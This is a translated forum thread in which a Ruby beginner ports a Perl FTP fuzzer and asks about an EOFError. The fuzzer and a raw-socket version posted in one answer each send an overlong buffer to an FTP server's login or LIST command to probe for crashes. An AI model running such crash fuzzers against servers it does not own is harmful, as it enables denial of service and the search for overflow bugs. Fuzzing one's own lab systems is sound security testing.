使用Ruby模糊FTP服务器

嘿,我是Ruby的新手,并试图通过将一些编程从一种语言移植到另一种语言来学习。现在我正在使用Ruby中的FTP模糊器来镜像这个perl脚本:
use Net::FTP;
$target = "192.168.37.128";
$buffer = "Ax20";
$buffer .= "A" x 512;
$ftp = Net::FTP->new($target, Debug => 0, Timeout => 5)
      or die "Cannot connect to $host: $@ n";
$ftp->login("anonymous",'anonymous@nowhere.com')
      or die "Couldn't log in: $@n";
$ftp->list($buffer);
$ftp->quit;
这是我的Ruby等价物:
require 'net/ftp'
buffer = 'Ax20'
buffer = (buffer + ('A'*512))
ftp = Net::FTP.open('127.0.0.1','anonymous','anonymous')
ftp.login
ftp.list(buffer)
ftp.quit
当我运行该程序时,我收到以下错误:
C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:241:in `readline': end of file reached (EOF
Error)
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:241:in `getline'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:251:in `getmultiline'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:265:in `getresp'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:281:in `voidresp'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:304:in `block in voidcmd'
        from C:/Ruby192/lib/ruby/1.9.1/monitor.rb:201:in `mon_synchronize'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:302:in `voidcmd'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:155:in `send_type_command'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:149:in `binary='
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:168:in `ensure in with_binary'

        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:168:in `with_binary'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:440:in `block in retrlines'
        from C:/Ruby192/lib/ruby/1.9.1/monitor.rb:201:in `mon_synchronize'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:439:in `retrlines'
        from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:682:in `list'
        from ftpcrash.rb:10:in `<main>'
我已经将问题追溯到了
ftp.list(buffer)
系列,但是无法提出一个Ruby解决方案,它将完成perl中的
$ftp->list($buffer)
。 建议?     
已邀请:
缓冲区是不必要的。 #list采用可选参数,如'* n',而不是缓冲区,并返回一个数组。
require 'net/ftp'
ftp = Net::FTP.open('ftp.gnu.org','anonymous','')
puts ftp.list
ftp.quit
    
net/ftp.rb
源代码判断,当ftp库试图从服务器获取响应并且响应为空时,会引发此异常。 您应该将此命令包装在
begin/rescue/end
(或只是
rescue
)并相应地处理错误。     
在这里你想要什么
#!/bin/ruby 

require 'socket'


buffer = "A" * 512

host = 'xx.xx.xx.xx'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
s.send("USER anonymousrn", 0)
s.recv(1024)
s.send("PASS anonymousrn", 0)
s.recv(1024)
s.send(buffer + "rn", 0)
sleep 0.3
s.close
保持安全;)     

要回复问题请先登录注册